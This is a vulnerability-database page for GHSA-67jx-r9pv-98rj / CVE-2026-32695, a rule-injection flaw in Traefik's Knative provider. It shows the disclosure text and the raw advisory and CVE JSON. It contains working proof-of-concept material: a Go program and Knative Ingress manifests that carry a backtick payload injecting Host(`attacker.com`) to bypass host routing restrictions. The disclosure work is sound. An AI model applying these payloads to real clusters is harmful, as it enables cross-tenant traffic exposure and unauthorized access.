Vulnerability-Lookup

GHSA-67JX-R9PV-98RJ

Vulnerability from github – Published: 2026-03-27 17:49 – Updated: 2026-03-27 17:49

Summary

Traefik has Knative Ingress Rule Injection that Allows Host Restriction Bypass

Details

Summary

There is a potential vulnerability in Traefik's Kubernetes Knative, Ingress, and Ingress-NGINX providers related to rule injection.

User-controlled values are interpolated into backtick-delimited Traefik router rule expressions without escaping or validation. A malicious value containing a backtick can terminate the literal and inject additional operators into Traefik's rule language, altering the parsed rule tree. In shared or multi-tenant deployments, this can bypass host and header routing constraints and redirect unauthorized traffic to victim services.

Patches

https://github.com/traefik/traefik/releases/tag/v3.6.11
https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2

For more information

If there are any questions or comments about this advisory, please open an issue.

Original Description ### Summary Traefik's Knative provider builds router rules by interpolating user-controlled values into backtick-delimited rule expressions without escaping. In live cluster validation, Knative `rules[].hosts[]` was exploitable for host restriction bypass (for example `tenant.example.com`) || Host(`attacker.com`), producing a router that serves attacker-controlled hosts. Knative `headers[].exact` also allows rule-syntax injection and proves unsafe rule construction. In multi-tenant clusters, this can route unauthorized traffic to victim services and lead to cross-tenant traffic exposure. Severity is High in shared deployments. Tested on Traefik `v3.6.10`; the vulnerable pattern appears to have been present since the Knative provider was introduced. Earlier versions with Knative provider support are expected to be affected. ### Details The issue is caused by unsafe rule-string construction using `fmt.Sprintf` with backtick-delimited literals. Incriminated code patterns: - `pkg/provider/kubernetes/knative/kubernetes.go` - `fmt.Sprintf("Host(`%v`)", host)` - `fmt.Sprintf("Header(`%s`,`%s`)", key, headers[key].Exact)` - `fmt.Sprintf("PathPrefix(`%s`)", path)` - `pkg/provider/kubernetes/ingress/kubernetes.go` - `fmt.Sprintf("Host(`%s`)", host)` - `fmt.Sprintf("(Path(`%[1]s`) || PathPrefix(`%[1]s/`))", path)` - `pkg/provider/kubernetes/ingress-nginx/kubernetes.go` (hardening candidate; not the primary confirmed vector in this report) - `fmt.Sprintf("Header(`%s`, `%s`)", c.Header, c.HeaderValue)` - related host/path/header concatenations with backticks Because inputs are inserted directly into rule expressions, a malicious value containing a backtick can terminate the literal and inject additional operators/tokens in Traefik's rule language. Example payload: - `x`) || Host(`attacker.com` When used as a header value in Knative rule construction, the resulting rule contains: - `Header(`X-Poc`,`x`) || Host(`attacker.com`)` This alters rule semantics and enables injection into Traefik's rule language. Depending on the field used (`hosts[]` vs `headers[].exact`) this can become a direct routing bypass. Important scope note: - Gateway API code path (`pkg/provider/kubernetes/gateway/httproute.go`) already uses safer `%q` formatting for header/query rules and is not affected by this exact pattern. - For standard Kubernetes Ingress, `spec.rules.host` is validated as DNS-1123 by the API server, which rejects backticks (so this specific host-injection payload is typically blocked). - For Knative Ingress, `rules[].hosts[]` and `headers[].exact` are typed as `string` in CRD schema with no pattern constraint. - In this validation environment, `rules[].hosts[]` was accepted and produced a practical host bypass. `headers[].exact` was also accepted and produced rule-syntax injection in generated routers. - Ingress-NGINX patterns are included as follow-up hardening targets and are not claimed as independently exploitable here. - Exploitability depends on admission/validation policy and who can create these resources. ### PoC 1. Local deterministic PoC (no cluster required): - Run: - Save the inline PoC below as `poc_build_rule.go` - Run `go run poc_build_rule.go` - Observe output: - Legitimate rule: `(Host(`tenant.example.com`)) && (Header(`X-API-Key`,`secret123`)) && PathPrefix(`/`)` - Malicious rule: `(Host(`tenant.example.com`)) && (Header(`X-API-Key`,`x`) || Host(`attacker.com`)) && PathPrefix(`/`)` - This proves syntax injection in current string-construction logic. Inline PoC code (self-contained):

package main

import (
    "fmt"
    "sort"
    "strings"
)

func buildRuleKnative(hosts []string, headers map[string]struct{ Exact string }, path string) string {
    var operands []string

    if len(hosts) > 0 {
        var hostRules []string
        for _, host := range hosts {
            hostRules = append(hostRules, fmt.Sprintf("Host(`%v`)", host))
        }
        operands = append(operands, fmt.Sprintf("(%s)", strings.Join(hostRules, " || ")))
    }

    if len(headers) > 0 {
        headerKeys := make([]string, 0, len(headers))
        for k := range headers {
            headerKeys = append(headerKeys, k)
        }
        sort.Strings(headerKeys)

        var headerRules []string
        for _, key := range headerKeys {
            headerRules = append(headerRules, fmt.Sprintf("Header(`%s`,`%s`)", key, headers[key].Exact))
        }
        operands = append(operands, fmt.Sprintf("(%s)", strings.Join(headerRules, " && ")))
    }

    if len(path) > 0 {
        operands = append(operands, fmt.Sprintf("PathPrefix(`%s`)", path))
    }

    return strings.Join(operands, " && ")
}

func main() {
    legitHeaders := map[string]struct{ Exact string }{
        "X-API-Key": {Exact: "secret123"},
    }
    fmt.Println(buildRuleKnative([]string{"tenant.example.com"}, legitHeaders, "/"))

    maliciousHeaders := map[string]struct{ Exact string }{
        "X-API-Key": {Exact: "x`) || Host(`attacker.com"},
    }
    fmt.Println(buildRuleKnative([]string{"tenant.example.com"}, maliciousHeaders, "/"))

    // Safe variant example (Gateway-style):
    fmt.Println(fmt.Sprintf("Header(%q,%q)", "X-API-Key", "x`) || Host(`attacker.com"))
}

2. Cluster PoC (Knative host injection, primary / practical bypass): - Preconditions: - Kubernetes test cluster with Knative Serving. - Traefik configured with Knative provider. - Apply manifest: - `kubectl apply -f - <<'YAML'`

apiVersion: networking.internal.knative.dev/v1alpha1
kind: Ingress
metadata:
  name: poc-host-injection
  namespace: default
  annotations:
    # This exact key worked in live validation:
    networking.knative.dev/ingress.class: "traefik.ingress.networking.knative.dev"
spec:
  rules:
    - hosts:
        - 'tenant.example.com`) || Host(`attacker.com'
      visibility: External
      http:
        paths:
          - path: "/"
            splits:
              - percent: 100
                serviceName: dummy
                serviceNamespace: default
                servicePort: 80
YAML

- (If API version mismatch, adjust between `networking.internal.knative.dev/v1alpha1` and `networking.knative.dev/v1alpha1`.) - Verify: - Check Traefik router rule contains: `(Host(`tenant.example.com`) || Host(`attacker.com`)) && PathPrefix(`/`)`. - Request with `Host: attacker.com` returns backend 200. - This demonstrates host restriction bypass in practice. 3. Cluster PoC (Knative header injection, confirms rule-syntax injection): - Apply: - `kubectl apply -f - <<'YAML'`

apiVersion: networking.internal.knative.dev/v1alpha1
kind: Ingress
metadata:
  name: poc-rule-injection
  namespace: default
  annotations:
    networking.knative.dev/ingress.class: "traefik.ingress.networking.knative.dev"
spec:
  rules:
    - hosts:
        - "tenant.example.com"
      visibility: External
      http:
        paths:
          - path: "/"
            headers:
              X-Poc:
                exact: 'x`) || Host(`attacker.com'
            splits:
              - percent: 100
                serviceName: dummy
                serviceNamespace: default
                servicePort: 80
YAML

- Verify: - Inspect generated Traefik dynamic router rule (API/dashboard/logs). - Confirm injected fragment `|| Host(`attacker.com`)` is present. - Send request with `Host: attacker.com` and no expected tenant header (expected: 404 for this payload shape, because leading `Host(tenant)` still applies). - Send request with `Host: tenant.example.com` and `X-Poc: x` (expected: 200 from backend). 4. Optional Ingress PoC (scope check): - Apply: - `kubectl apply -f - <<'YAML'`

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: poc-ingress-host-injection
  namespace: default
  annotations:
    kubernetes.io/ingress.class: traefik
spec:
  rules:
    - host: 'tenant.example.com`) || Host(`attacker.com'
      http:
        paths:
          - path: /
            pathType: Prefix
            backend:
              service:
                name: dummy
                port:
                  number: 80
YAML

- Expected in most clusters: API server rejects this payload because Ingress `host` must satisfy DNS-1123. - Keep this step only as a negative control to demonstrate the distinction between native Ingress validation and Knative CRD behavior. Validation executed in this report: - Local deterministic PoC executed with `go run` and output matched expected injected rule. - Live cluster test executed on local `kind` cluster (`kind-traefik-poc`) with Traefik `v3.6.10` and Knative Serving CRDs. - Annotation key confirmed in this environment: `networking.knative.dev/ingress.class` (dot). The hyphen variant was not used by the successful processing path. - Traefik API/logs confirmed generated routers included injected expressions. - Live HTTP request with `Host: attacker.com` reached backend (`200`) for Knative host-injection payload. ### Impact - **Vulnerability type:** Rule injection / authorization bypass at routing layer. - **Primary impact:** Bypass of intended routing predicates (host/header/path), enabling unauthorized routing to protected services. - **Who is impacted:** Primarily deployments using Traefik Knative provider where untrusted or semi-trusted actors can create/update Knative Ingress resources (typical in multi-tenant clusters, shared namespaces, or weak admission controls). Standard Kubernetes Ingress host injection is usually blocked by API validation. - **Security consequences:** Cross-tenant traffic access, internal service exposure, policy bypass, and potential chaining with app-level vulnerabilities.

Severity

6.1 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0-ea.1"
            },
            {
              "fixed": "3.7.0-ea.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.11.42"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32695"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T17:49:52Z",
    "nvd_published_at": "2026-03-27T14:16:08Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThere is a potential vulnerability in Traefik\u0027s Kubernetes Knative, Ingress, and Ingress-NGINX providers related to rule injection.\n\nUser-controlled values are interpolated into backtick-delimited Traefik router rule expressions without escaping or validation. A malicious value containing a backtick can terminate the literal and inject additional operators into Traefik\u0027s rule language, altering the parsed rule tree. In shared or multi-tenant deployments, this can bypass host and header routing constraints and redirect unauthorized traffic to victim services.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.11\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2\n\n## For more information\n\nIf there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\nTraefik\u0027s Knative provider builds router rules by interpolating user-controlled values into backtick-delimited rule expressions without escaping. In live cluster validation, Knative `rules[].hosts[]` was exploitable for host restriction bypass (for example `tenant.example.com`) || Host(`attacker.com`), producing a router that serves attacker-controlled hosts. Knative `headers[].exact` also allows rule-syntax injection and proves unsafe rule construction. In multi-tenant clusters, this can route unauthorized traffic to victim services and lead to cross-tenant traffic exposure. Severity is High in shared deployments.\n\nTested on Traefik `v3.6.10`; the vulnerable pattern appears to have been present since the Knative provider was introduced. Earlier versions with Knative provider support are expected to be affected.\n\n### Details\nThe issue is caused by unsafe rule-string construction using `fmt.Sprintf` with backtick-delimited literals.\n\nIncriminated code patterns:\n\n- `pkg/provider/kubernetes/knative/kubernetes.go`\n  - `fmt.Sprintf(\"Host(`%v`)\", host)`\n  - `fmt.Sprintf(\"Header(`%s`,`%s`)\", key, headers[key].Exact)`\n  - `fmt.Sprintf(\"PathPrefix(`%s`)\", path)`\n\n- `pkg/provider/kubernetes/ingress/kubernetes.go`\n  - `fmt.Sprintf(\"Host(`%s`)\", host)`\n  - `fmt.Sprintf(\"(Path(`%[1]s`) || PathPrefix(`%[1]s/`))\", path)`\n\n- `pkg/provider/kubernetes/ingress-nginx/kubernetes.go` (hardening candidate; not the primary confirmed vector in this report)\n  - `fmt.Sprintf(\"Header(`%s`, `%s`)\", c.Header, c.HeaderValue)`\n  - related host/path/header concatenations with backticks\n\nBecause inputs are inserted directly into rule expressions, a malicious value containing a backtick can terminate the literal and inject additional operators/tokens in Traefik\u0027s rule language. Example payload:\n\n- `x`) || Host(`attacker.com`\n\nWhen used as a header value in Knative rule construction, the resulting rule contains:\n\n- `Header(`X-Poc`,`x`) || Host(`attacker.com`)`\n\nThis alters rule semantics and enables injection into Traefik\u0027s rule language. Depending on the field used (`hosts[]` vs `headers[].exact`) this can become a direct routing bypass.\n\nImportant scope note:\n\n- Gateway API code path (`pkg/provider/kubernetes/gateway/httproute.go`) already uses safer `%q` formatting for header/query rules and is not affected by this exact pattern.\n- For standard Kubernetes Ingress, `spec.rules.host` is validated as DNS-1123 by the API server, which rejects backticks (so this specific host-injection payload is typically blocked).\n- For Knative Ingress, `rules[].hosts[]` and `headers[].exact` are typed as `string` in CRD schema with no pattern constraint.\n- In this validation environment, `rules[].hosts[]` was accepted and produced a practical host bypass. `headers[].exact` was also accepted and produced rule-syntax injection in generated routers.\n- Ingress-NGINX patterns are included as follow-up hardening targets and are not claimed as independently exploitable here.\n- Exploitability depends on admission/validation policy and who can create these resources.\n\n### PoC\n\n1. Local deterministic PoC (no cluster required):\n\n- Run:\n  - Save the inline PoC below as `poc_build_rule.go`\n  - Run `go run poc_build_rule.go`\n- Observe output:\n  - Legitimate rule: `(Host(`tenant.example.com`)) \u0026\u0026 (Header(`X-API-Key`,`secret123`)) \u0026\u0026 PathPrefix(`/`)`\n  - Malicious rule: `(Host(`tenant.example.com`)) \u0026\u0026 (Header(`X-API-Key`,`x`) || Host(`attacker.com`)) \u0026\u0026 PathPrefix(`/`)`\n- This proves syntax injection in current string-construction logic.\n\nInline PoC code (self-contained):\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"sort\"\n\t\"strings\"\n)\n\nfunc buildRuleKnative(hosts []string, headers map[string]struct{ Exact string }, path string) string {\n\tvar operands []string\n\n\tif len(hosts) \u003e 0 {\n\t\tvar hostRules []string\n\t\tfor _, host := range hosts {\n\t\t\thostRules = append(hostRules, fmt.Sprintf(\"Host(`%v`)\", host))\n\t\t}\n\t\toperands = append(operands, fmt.Sprintf(\"(%s)\", strings.Join(hostRules, \" || \")))\n\t}\n\n\tif len(headers) \u003e 0 {\n\t\theaderKeys := make([]string, 0, len(headers))\n\t\tfor k := range headers {\n\t\t\theaderKeys = append(headerKeys, k)\n\t\t}\n\t\tsort.Strings(headerKeys)\n\n\t\tvar headerRules []string\n\t\tfor _, key := range headerKeys {\n\t\t\theaderRules = append(headerRules, fmt.Sprintf(\"Header(`%s`,`%s`)\", key, headers[key].Exact))\n\t\t}\n\t\toperands = append(operands, fmt.Sprintf(\"(%s)\", strings.Join(headerRules, \" \u0026\u0026 \")))\n\t}\n\n\tif len(path) \u003e 0 {\n\t\toperands = append(operands, fmt.Sprintf(\"PathPrefix(`%s`)\", path))\n\t}\n\n\treturn strings.Join(operands, \" \u0026\u0026 \")\n}\n\nfunc main() {\n\tlegitHeaders := map[string]struct{ Exact string }{\n\t\t\"X-API-Key\": {Exact: \"secret123\"},\n\t}\n\tfmt.Println(buildRuleKnative([]string{\"tenant.example.com\"}, legitHeaders, \"/\"))\n\n\tmaliciousHeaders := map[string]struct{ Exact string }{\n\t\t\"X-API-Key\": {Exact: \"x`) || Host(`attacker.com\"},\n\t}\n\tfmt.Println(buildRuleKnative([]string{\"tenant.example.com\"}, maliciousHeaders, \"/\"))\n\n\t// Safe variant example (Gateway-style):\n\tfmt.Println(fmt.Sprintf(\"Header(%q,%q)\", \"X-API-Key\", \"x`) || Host(`attacker.com\"))\n}\n```\n\n2. Cluster PoC (Knative host injection, primary / practical bypass):\n\n- Preconditions:\n  - Kubernetes test cluster with Knative Serving.\n  - Traefik configured with Knative provider.\n- Apply manifest:\n  - `kubectl apply -f - \u003c\u003c\u0027YAML\u0027`\n```yaml\napiVersion: networking.internal.knative.dev/v1alpha1\nkind: Ingress\nmetadata:\n  name: poc-host-injection\n  namespace: default\n  annotations:\n    # This exact key worked in live validation:\n    networking.knative.dev/ingress.class: \"traefik.ingress.networking.knative.dev\"\nspec:\n  rules:\n    - hosts:\n        - \u0027tenant.example.com`) || Host(`attacker.com\u0027\n      visibility: External\n      http:\n        paths:\n          - path: \"/\"\n            splits:\n              - percent: 100\n                serviceName: dummy\n                serviceNamespace: default\n                servicePort: 80\nYAML\n```\n  - (If API version mismatch, adjust between `networking.internal.knative.dev/v1alpha1` and `networking.knative.dev/v1alpha1`.)\n- Verify:\n  - Check Traefik router rule contains: `(Host(`tenant.example.com`) || Host(`attacker.com`)) \u0026\u0026 PathPrefix(`/`)`.\n  - Request with `Host: attacker.com` returns backend 200.\n  - This demonstrates host restriction bypass in practice.\n\n3. Cluster PoC (Knative header injection, confirms rule-syntax injection):\n\n- Apply:\n  - `kubectl apply -f - \u003c\u003c\u0027YAML\u0027`\n```yaml\napiVersion: networking.internal.knative.dev/v1alpha1\nkind: Ingress\nmetadata:\n  name: poc-rule-injection\n  namespace: default\n  annotations:\n    networking.knative.dev/ingress.class: \"traefik.ingress.networking.knative.dev\"\nspec:\n  rules:\n    - hosts:\n        - \"tenant.example.com\"\n      visibility: External\n      http:\n        paths:\n          - path: \"/\"\n            headers:\n              X-Poc:\n                exact: \u0027x`) || Host(`attacker.com\u0027\n            splits:\n              - percent: 100\n                serviceName: dummy\n                serviceNamespace: default\n                servicePort: 80\nYAML\n```\n- Verify:\n  - Inspect generated Traefik dynamic router rule (API/dashboard/logs).\n  - Confirm injected fragment `|| Host(`attacker.com`)` is present.\n  - Send request with `Host: attacker.com` and no expected tenant header (expected: 404 for this payload shape, because leading `Host(tenant)` still applies).\n  - Send request with `Host: tenant.example.com` and `X-Poc: x` (expected: 200 from backend).\n\n4. Optional Ingress PoC (scope check):\n\n- Apply:\n  - `kubectl apply -f - \u003c\u003c\u0027YAML\u0027`\n```yaml\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n  name: poc-ingress-host-injection\n  namespace: default\n  annotations:\n    kubernetes.io/ingress.class: traefik\nspec:\n  rules:\n    - host: \u0027tenant.example.com`) || Host(`attacker.com\u0027\n      http:\n        paths:\n          - path: /\n            pathType: Prefix\n            backend:\n              service:\n                name: dummy\n                port:\n                  number: 80\nYAML\n```\n- Expected in most clusters: API server rejects this payload because Ingress `host` must satisfy DNS-1123.\n- Keep this step only as a negative control to demonstrate the distinction between native Ingress validation and Knative CRD behavior.\n\nValidation executed in this report:\n\n- Local deterministic PoC executed with `go run` and output matched expected injected rule.\n- Live cluster test executed on local `kind` cluster (`kind-traefik-poc`) with Traefik `v3.6.10` and Knative Serving CRDs.\n- Annotation key confirmed in this environment: `networking.knative.dev/ingress.class` (dot). The hyphen variant was not used by the successful processing path.\n- Traefik API/logs confirmed generated routers included injected expressions.\n- Live HTTP request with `Host: attacker.com` reached backend (`200`) for Knative host-injection payload.\n\n### Impact\n- **Vulnerability type:** Rule injection / authorization bypass at routing layer.\n- **Primary impact:** Bypass of intended routing predicates (host/header/path), enabling unauthorized routing to protected services.\n- **Who is impacted:** Primarily deployments using Traefik Knative provider where untrusted or semi-trusted actors can create/update Knative Ingress resources (typical in multi-tenant clusters, shared namespaces, or weak admission controls). Standard Kubernetes Ingress host injection is usually blocked by API validation.\n- **Security consequences:** Cross-tenant traffic access, internal service exposure, policy bypass, and potential chaining with app-level vulnerabilities.\n\n\u003c/details\u003e",
  "id": "GHSA-67jx-r9pv-98rj",
  "modified": "2026-03-27T17:49:52Z",
  "published": "2026-03-27T17:49:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-67jx-r9pv-98rj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32695"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/11d251415a6fd935025df5a9dda898e17e3097b2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.6.11"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik has Knative Ingress Rule Injection that Allows Host Restriction Bypass"
}

CVE-2026-32695 (GCVE-0-2026-32695)

Vulnerability from cvelistv5 – Published: 2026-03-27 13:47 – Updated: 2026-07-15 01:07

Title

Traefik has Knative Ingress Rule Injection that Allows Host Restriction Bypass

Summary

Traefik is an HTTP reverse proxy and load balancer. Prior to versions 3.6.11 and 3.7.0-ea.2, Traefik's Knative provider builds router rules by interpolating user-controlled values into backtick-delimited rule expressions without escaping. In live cluster validation, Knative `rules[].hosts[]` was exploitable for host restriction bypass (for example `tenant.example.com`) || Host(`attacker.com`), producing a router that serves attacker-controlled hosts. Knative `headers[].exact` also allows rule-syntax injection and proves unsafe rule construction. In multi-tenant clusters, this can route unauthorized traffic to victim services and lead to cross-tenant traffic exposure. Versions 3.6.11 and 3.7.0-ea.2 patch the issue.

Severity

6.3 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N

7.7 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-30 11:59 UTC

CWE

CWE-74 - Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
CWE-917 - Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')

Assigner

GitHub_M mitre root

References

7 references

URL	Tags
https://github.com/traefik/traefik/security/advis…	x_refsource_CONFIRM
https://github.com/traefik/traefik/releases/tag/v3.6.11	x_refsource_MISC
https://github.com/traefik/traefik/releases/tag/v…	x_refsource_MISC
https://access.redhat.com/security/cve/CVE-2026-32695	vdb-entryx_refsource_REDHAT
https://bugzilla.redhat.com/show_bug.cgi?id=2452235	issue-trackingx_refsource_REDHAT
https://security.access.redhat.com/data/csaf/v2/v…	x_sadp-csaf-vex
https://access.redhat.com/errata/RHSA-2026:10175	vendor-advisoryx_refsource_REDHAT

Impacted products

2 products

Vendor	Product	Version
traefik	traefik	Affected: < 3.6.11 Affected: >= 3.7.0-ea.1, < 3.7.0-ea.2
Red Hat	Red Hat OpenShift Dev Spaces 3.27	Unaffected: 1776718585 , < * (rpm) cpe:/a:redhat:openshift_devspaces:3.27::el9

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-32695",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-30T11:59:14.687591Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-30T11:59:26.721Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "collectionURL": "https://catalog.redhat.com/software/containers/",
            "cpes": [
              "cpe:/a:redhat:openshift_devspaces:3.27::el9"
            ],
            "defaultStatus": "affected",
            "packageName": "devspaces/traefik-rhel9",
            "product": "Red Hat OpenShift Dev Spaces 3.27",
            "vendor": "Red Hat",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "1776718585",
                "versionType": "rpm"
              }
            ]
          }
        ],
        "datePublic": "2026-03-27T13:47:03.645Z",
        "descriptions": [
          {
            "lang": "en",
            "value": "A flaw was found in Traefik, an HTTP reverse proxy and load balancer. When using the Knative provider, Traefik incorrectly interpolates user-controlled values into router rule expressions without proper escaping. This vulnerability allows an attacker to inject malicious rule syntax, leading to a host restriction bypass. In multi-tenant environments, this can result in unauthorized traffic being routed to victim services, potentially exposing cross-tenant traffic."
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "namespace": "https://access.redhat.com/security/updates/classification/",
                "value": "Important"
              },
              "type": "Red Hat severity rating"
            }
          },
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "NONE",
              "baseScore": 7.7,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "CHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
              "version": "3.1"
            },
            "format": "CVSS"
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-917",
                "description": "Improper Neutralization of Special Elements used in an Expression Language Statement (\u0027Expression Language Injection\u0027)",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-15T01:07:47.954Z",
          "orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
          "shortName": "redhat-SADP"
        },
        "references": [
          {
            "tags": [
              "vdb-entry",
              "x_refsource_REDHAT"
            ],
            "url": "https://access.redhat.com/security/cve/CVE-2026-32695"
          },
          {
            "name": "RHBZ#2452235",
            "tags": [
              "issue-tracking",
              "x_refsource_REDHAT"
            ],
            "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2452235"
          },
          {
            "tags": [
              "x_sadp-csaf-vex"
            ],
            "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-32695.json"
          },
          {
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2026:10175"
          }
        ],
        "solutions": [
          {
            "lang": "en",
            "value": "RHSA-2026:10175: Red Hat OpenShift Dev Spaces 3.27"
          }
        ],
        "timeline": [
          {
            "lang": "en",
            "time": "2026-03-27T14:01:07.317Z",
            "value": "Reported to Red Hat."
          },
          {
            "lang": "en",
            "time": "2026-03-27T13:47:03.645Z",
            "value": "Made public."
          }
        ],
        "title": "github.com/traefik/traefik: Traefik: Cross-tenant traffic exposure and host restriction bypass via rule-syntax injection in Knative provider",
        "workarounds": [
          {
            "lang": "en",
            "value": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability."
          }
        ],
        "x_adpType": "supplier",
        "x_generator": {
          "engine": "sadp-cli 1.0.0"
        }
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "traefik",
          "vendor": "traefik",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.6.11"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.7.0-ea.1, \u003c 3.7.0-ea.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Traefik is an HTTP reverse proxy and load balancer. Prior to versions 3.6.11 and 3.7.0-ea.2, Traefik\u0027s Knative provider builds router rules by interpolating user-controlled values into backtick-delimited rule expressions without escaping. In live cluster validation, Knative `rules[].hosts[]` was exploitable for host restriction bypass (for example `tenant.example.com`) || Host(`attacker.com`), producing a router that serves attacker-controlled hosts. Knative `headers[].exact` also allows rule-syntax injection and proves unsafe rule construction. In multi-tenant clusters, this can route unauthorized traffic to victim services and lead to cross-tenant traffic exposure. Versions 3.6.11 and 3.7.0-ea.2 patch the issue."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 6.3,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "HIGH",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-74",
              "description": "CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-27T13:47:03.645Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/traefik/traefik/security/advisories/GHSA-67jx-r9pv-98rj",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/traefik/traefik/security/advisories/GHSA-67jx-r9pv-98rj"
        },
        {
          "name": "https://github.com/traefik/traefik/releases/tag/v3.6.11",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/traefik/traefik/releases/tag/v3.6.11"
        },
        {
          "name": "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2"
        }
      ],
      "source": {
        "advisory": "GHSA-67jx-r9pv-98rj",
        "discovery": "UNKNOWN"
      },
      "title": "Traefik has Knative Ingress Rule Injection that Allows Host Restriction Bypass"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-32695",
    "datePublished": "2026-03-27T13:47:03.645Z",
    "dateReserved": "2026-03-13T14:33:42.822Z",
